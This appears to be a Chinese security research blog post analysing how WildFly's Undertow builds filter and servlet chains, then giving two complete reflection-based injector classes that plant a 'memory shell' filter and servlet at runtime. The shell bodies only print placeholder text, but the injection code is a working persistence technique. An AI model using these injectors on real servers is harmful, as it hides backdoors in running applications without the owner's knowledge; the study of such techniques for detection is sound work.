前言

WildFly 是一个开源的 Java EE 应用服务器,最初名为 JBoss AS(Application Server),后来更名为 WildFly。本文从0到1分析Wildfly的Filter内存马和Servlet内存马的构造过程

环境搭建

在文章末尾获取demo源码

测试WildFly版本:26.1.0

web.xml

启动后访问http://localhost:8080/WildFlyDemo_war_exploded/hello 正常说明搭建成功

Filter内存马

在HelloServlet#doGet()下断点,请求/hello接口后得到调用栈,可以看到先后调用了HelloFilter和PublicFilter两个过滤器

跟进到图中的帧,可以看到通过this.filters.get(index)来获取下一个要调用的filter对象,接着调用filter下的doFilter方法,也就是说要调用的filter都保存到了this.filter里

this.filters在FilterHandler类的内部类FilterChainImpl类的构造函数中赋值,在该函数中下断点

发现在FilterHandler#handleRequest()中调用到了FilterChainImpl,而FilterHandler类的也存在一个this.filters

在this.filters中下断点,重新启动服务,观察this.next和this.filters的值

可以发现当服务启动的时候,系统会为每一个servlet初始化一个对应的FilterHanler,在这里会完成过滤器链的初始化,即该servlet会经过哪些Filter

下面是HelloServlet和TestServlet两个servlet对应的FilterHandler对象初始化时,可以看到在vals中都保存了对应的Filter

通过调用栈向上寻找在哪里实例化了FilterHandler对象,发现在ServletPathMatches#createHandler中进行了实例化,在该方法中传递this.filters的参数名为noExtension

继续向上,可以看到在ServletPathMatches#setupServletChains()中调用了createHandler方法

setupServletChains方法分析

setServletChains()是关键代码段,下断点调试,首先通过deploymentInfo.getFilterMappings().iterator()得到一个关于FilterMappings的迭代器,里面保存了所有的filter,接着遍历所有元素,得到所有Filter的匹配路径并保存在pathMatches中

接着向下执行,通过handler.getManagedServlet().getServletInfo().getMappings().iterator()得到所有servlet,接着生成从/test -> Testservlet的映射,保存到pathServlets中

接着向下执行,获取到所有的pathMatches,实例化了一个noExtension对象,通过上面的分析可以知道noExtension实际上就是后面的this.filters,所以重点关注noExtension的构造过程

首先也遍历所有的filter过滤器,当前的path为/test

进入到最后一个elseif中,程序调用isFilterApplicable()来判断当前filter的匹配模式和当前路径是否相符,当前的filter为PublicFilter,匹配模式是/*,可以匹配到/test,就会将该Filter添加到noExtension里

TestFilter的匹配模式为/test,也可以匹配到/test,所以TestFilter也会被添加到noExtension里

所以这里就得到一个从路径到Filter的映射/test -> PublicFilter、TestFilter,/hello路径也是以此类推

通过上面的代码已经能得到两条映射关系了,后面的代码就是将这两个映射组合起来的过程形成一条完整的执行链

/test -> Testservlet
/test -> PublicFilter、TestFilter
    | |
    V V
/test -> PublicFilter、TestFilter -> Testservlet

noExtension参数的构造过程已经清楚了,接着看FilterMappings从哪里获取

可以看到FilterMappings保存在deploymentInfo对象中,而deploymentInfo对象又保存在this.deployment里

通过Thread.currentThread()来获取当前线程的上下文,可以看到在filters里确实保存着所有的filter

通过上面的调试可以知道setupServletChains()会在启动服务时执行一次,主要完成下面的过程

1、首先得到所有path路径
2、得到/path -> servlet的映射关系
3、得到/path -> filters的映射关系
4、两个映射关系组合

最终得到的映射就相当于一条ServletChain执行链,等下次请求来的时候就会根据请求路径调用到具体的SercletChain

/hello -> HelloFilter -> PublicFilter -> HelloServlet
/test -> TestFilter -> PublicFilter -> TestServlet
....

上面已经详细分析了ServletChain的形成过程,如果需要添加Filter内存马的话,就需要在deploymentInfo对象的filter属性中添加上我们自己的FilterInfo

现在跟进到FilterInfo类来分析FilterInfo对象的构造过程,在FilterInfo构造函数中下断点

在UndertowDeploymentInfoService类中发现调用,首先会实例化一个FilterInfo对象,接着调用d.addFilter(f)将该FilterInfo添加到Filtermapping,而d就是上面提到过的DeploymentInfo类

所以就可以通过new FilterInfo(filter.getName(),filterClass)来实例化一个FilterInfo对象

下面的是系统利用类加载器加载filter类,也可以通过Thread.currentThread().getContextClassLoader()得到类加载器

Class<? extends Filter> filterClass = this.module.getClassLoader().loadClass(filter.getFilterClass())

完整exp

1、生成FilterInfo
2、通过Thread.currentThread()得到DeploymentInfo、Deployment
3、将FilterInfo添加到Filtermapping
4、重新生成ServletChain


import io.undertow.servlet.api.Deployment;
import io.undertow.servlet.api.DeploymentInfo;
import io.undertow.servlet.api.FilterInfo;

import javax.servlet.*;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Field;

public class FilterInject {

    private static final String FilterClass = "org.example.FilterInject$FilterShell";
    private static final String FilterName = "FilterShell";
    private static final String pattern = "/*";
    static {
        try {
            Thread thread = Thread.currentThread();
            Object obj = getField(thread, "threadLocals");
            Object table = getField(obj, "table");

            DeploymentInfo deploymentInfo = null;
            Deployment deployment = null;
            if (table != null) {
                for (int i = 0; i < Array.getLength(table); i++) {
                    Object entry = Array.get(table, i);
                    if (entry != null) {
                        obj = getField(entry, "value");
                        if (obj != null) {
                            if (obj.getClass().getName().contains("ServletRequestContext")) {
                                obj = getField(obj, "currentServletContext");
                                deployment = (Deployment) getField(obj, "deployment");
                                deploymentInfo = (DeploymentInfo) getField(deployment, "deploymentInfo");
                                break;
                            }
                        }
                    }
                }
            }


            //将filterinfo添加到最开始的位置
            deploymentInfo.insertFilterUrlMapping(0, FilterName, pattern, javax.servlet.DispatcherType.REQUEST);
            //使用addFilter()就不用显式调用setupServletChains(),该方法中会调用clear()清空ServletChain缓存,当下次访问的时系统会调用到setupServletChains()重新生成ServletChain
            deployment.getFilters().addFilter(getFilter());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static FilterInfo getFilter() throws ClassNotFoundException {
        Class filterClass = Thread.currentThread().getContextClassLoader().loadClass(FilterClass);
        FilterInfo filterInfo = new FilterInfo(FilterName, filterClass);
        return filterInfo;
    }

    public static Object getField(Object o, String s) throws NoSuchFieldException, IllegalAccessException {
        Field field;
        try {
            field = o.getClass().getDeclaredField(s);
        } catch (NoSuchFieldException e) {
            try{
                field = o.getClass().getSuperclass().getDeclaredField(s);
            } catch (Exception e1) {
                field = o.getClass().getSuperclass().getSuperclass().getDeclaredField(s);
            }
        }
        field.setAccessible(true);
        return field.get(o);
    }

    public static class FilterShell implements javax.servlet.Filter {

        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
        }

        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
            System.out.println("getShell!!");
            chain.doFilter(request, response);
        }

        @Override
        public void destroy() {
        }
    }
}

Servlet内存马

通过上面的分析也可以在deploment中发现servlets,而且servlet的信息都保存到ServletInfo对象里

那就可以在ServletInfo的构造函数里下断点,重启服务

和FilterInfo对象的构造方式类似

发现servlet都保存在CopyOnWriteMap对象里,而该对象里又存在put()方法,那就可以向里面添加元素

可以先通过反射获取到CopyOnWriteMap对象,再调用该对象里面的put()自己手动添加上一个ServerInfo,通过调试可以看到已经将我们自己的ServletInfo添加进去

managedServletMap.put(ServletName, getServletHandler(deployment));

public static ServletInfo getServletInfo() throws ClassNotFoundException {
    Class servletClass = Thread.currentThread().getContextClassLoader().loadClass(ServletClass);
    ServletInfo servletInfo = new ServletInfo(ServletName, servletClass);
    servletInfo.addMapping(mapping);
    return servletInfo;
}

ServletPathMatchesData对象中保存着对应的映射关系,所以我们需要手动将/shell ->ServletShell的映射关系添加上去

在ServletPathMatchesData类中下断点,发现最终在ServletPathMatches#setupServletChains()中的最后调用了

也就是说当调用后setupServletChains()会根据managedServletMap中的所有servlet得到一个ServletPathMatchesData对象,该对象的exactPathMatches属性中就保存了servlet的映射关系

上面已经通过反射的方式向managedServletMap中新添加了一个servlet,现在只要调用setupServletChains()就能得到一个新的ServletPathMatchesData对象,该对象里就保存了更新后的映射关系

// 通过反射调用setupServletChains(),可以看到得到的object的exactPathMatches属性中就保存了更新之后的映射关系
Class<?> clazz = servletPathMatches.getClass();
Method method = clazz.getDeclaredMethod("setupServletChains");
method.setAccessible(true);
Object object = method.invoke(servletPathMatches);

接着用新的exactPathMatches替换调Context中原来的exactPathMatches

Field field = data.getClass().getDeclaredField("exactPathMatches");
field.setAccessible(true);
field.set(data, object);

查看exactPathMatches值存在新的映射关系说明注入成功了,接着访问/shell接口

完整exp

1、向managedServletMap中添加新的ServletInfo
2、调用setupServletChains()根据managedServletMap生成新的exactPathMatches
3、用新的exactPathMatches替换掉原来Context中的exactPathMatches值

import io.undertow.servlet.api.Deployment;
import io.undertow.servlet.api.ServletInfo;
import io.undertow.servlet.core.ManagedServlet;
import io.undertow.servlet.handlers.ServletHandler;
import io.undertow.servlet.handlers.ServletPathMatches;
import io.undertow.util.CopyOnWriteMap;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class ServletInject {

    private final static String ServletName = "ServletShell";
    private final static String mapping = "/shell";
    private final static String ServletClass = "org.example.ServletInject$ServletShell";
    static {
        try {
            Thread thread = Thread.currentThread();
            Object obj = getField(thread, "threadLocals");
            Object table = getField(obj, "table");

            Deployment deployment = null;
            CopyOnWriteMap managedServletMap = null;
            ServletPathMatches servletPathMatches = null;
            Object data = null;
            if (table != null) {
                for (int i = 0; i < Array.getLength(table); i++) {
                    Object entry = Array.get(table, i);
                    if (entry != null) {
                        obj = getField(entry, "value");
                        if (obj != null) {
                            if (obj.getClass().getName().contains("ServletRequestContext")) {
                                obj = getField(obj, "currentServletContext");
                                deployment = (Deployment) getField(obj, "deployment");
                                obj = getField(deployment, "servlets");
                                servletPathMatches = (ServletPathMatches) getField(obj, "servletPaths");

                                data = getField(servletPathMatches, "data");
                                managedServletMap = (CopyOnWriteMap) getField(obj, "managedServletMap");
                                break;
                            }
                        }
                    }
                }
            }

            managedServletMap.put(ServletName, getServletHandler(deployment));

            Class<?> clazz = servletPathMatches.getClass();
            Method method = clazz.getDeclaredMethod("setupServletChains");
            method.setAccessible(true);
            Object object = method.invoke(servletPathMatches);

            object = getField(object, "exactPathMatches");

            Field field = data.getClass().getDeclaredField("exactPathMatches");
            field.setAccessible(true);
            field.set(data, object);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static Object getField(Object o, String s) throws NoSuchFieldException, IllegalAccessException {
        Field field;
        try {
            field = o.getClass().getDeclaredField(s);
        } catch (NoSuchFieldException e) {
            try{
                field = o.getClass().getSuperclass().getDeclaredField(s);
            } catch (Exception e1) {
                field = o.getClass().getSuperclass().getSuperclass().getDeclaredField(s);
            }
        }
        field.setAccessible(true);
        return field.get(o);
    }

    public static ServletInfo getServletInfo() throws ClassNotFoundException {
        Class servletClass = Thread.currentThread().getContextClassLoader().loadClass(ServletClass);
        ServletInfo servletInfo = new ServletInfo(ServletName, servletClass);
        servletInfo.addMapping(mapping);
        return servletInfo;
    }

    public static ServletHandler getServletHandler(Deployment deployment) throws ClassNotFoundException {
        ManagedServlet managedServlet = new ManagedServlet(getServletInfo(), deployment.getServletContext());
        return new ServletHandler(managedServlet);
    }

    public static class ServletShell extends HttpServlet {

        @Override
        protected void doGet(HttpServletRequest request, HttpServletResponse response)
                throws ServletException, IOException {
            response.setContentType("text/plain");
            PrintWriter out = response.getWriter();
            out.println("this is ServletShell");
        }
    }
}

参考

https://xz.aliyun.com/t/12161